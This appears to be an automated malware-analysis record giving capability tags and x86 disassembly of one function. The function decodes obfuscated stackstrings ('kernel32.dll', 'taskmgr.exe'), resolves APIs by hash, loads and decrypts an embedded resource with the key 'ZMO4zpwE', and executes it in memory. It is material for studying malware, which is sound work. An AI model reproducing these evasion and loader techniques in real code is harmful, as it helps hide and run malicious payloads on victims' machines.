Function at 0x4039e0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x408a39
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov al, byte [esp + 0x44]
push ebx
push ebp
push esi
push edi
push 0
lea ecx, [esp + 0x34]
mov byte [esp + 0x34], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov edi, str.ZMO4zpwE
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x34]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x403a57
mov edi, dword [esp + 0x34]
mov ecx, ebp
mov edx, ecx
mov esi, str.ZMO4zpwE
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x34]
mov dword [esp + 0x38], ebp
mov byte [eax + ebp], 0
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push 0
lea ecx, [esp + 0x24]
mov al, 0x6c
push 0
push ecx
mov dword [esp + 0x54], 0
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x65
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], al
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0
call ebp
mov esi, eax
push 0x16de565f
push esi
call fcn.00401e40
push 0x1a4b89aa
push esi
mov dword [esp + 0x20], eax
call fcn.00401e40
mov edx, dword [esp + 0x48]
lea eax, [edx*8 - 0x5f27204]
push eax
push esi
call fcn.00401e40
push 0x31cb1743
push esi
mov edi, eax
call fcn.00401e40
add esp, 0x20
mov esi, eax
push 0xa
push 0x4b60
push 0
call edi
mov edi, eax
test edi, edi
jne 0x403b2a
push 1
lea ecx, [esp + 0x34]
mov dword [esp + 0x4c], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret
push edi
push 0
call esi
mov esi, eax
test esi, esi
jne 0x403b6e
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x403c32
mov al, byte [ecx - 1]
test al, al
je 0x403c28
cmp al, 0xff
je 0x403c28
dec al
pop edi
pop esi
mov byte [ecx - 1], al
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
lea ecx, [esp + 0x18]
push 0
push ecx
mov ebx, eax
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x73
mov byte [esp + 0x23], 0x6b
mov byte [esp + 0x24], 0x6d
mov byte [esp + 0x25], 0x67
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x2e
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0x78
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], 0
call ebp
test eax, eax
jne 0x403bf1
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x403c32
mov al, byte [ecx - 1]
test al, al
je 0x403c28
cmp al, 0xff
je 0x403c28
dec al
pop edi
pop esi
mov byte [ecx - 1], al
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
push 0
push 0x40b0c8
call edi
add esp, 4
push eax
push str.8192
call edi
add esp, 4
or ah, 0x10
push eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [esp + 0x28]
mov ebp, eax
test ebp, ebp
jne 0x403c47
jmp 0x403bc4
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
add esp, 0x3c
ret
mov ecx, ebx
mov edi, ebp
mov edx, ecx
mov eax, dword [esp + 0x54]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x58]
push eax
push ecx
call fcn.00401d10
add esp, 0x10
call ebp
mov ecx, dword [esp + 0x34]
test ecx, ecx
je 0x403c93
mov al, byte [ecx - 1]
test al, al
je 0x403c89
cmp al, 0xff
je 0x403c89
dec al
mov byte [ecx - 1], al
jmp 0x403c93
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x3c
ret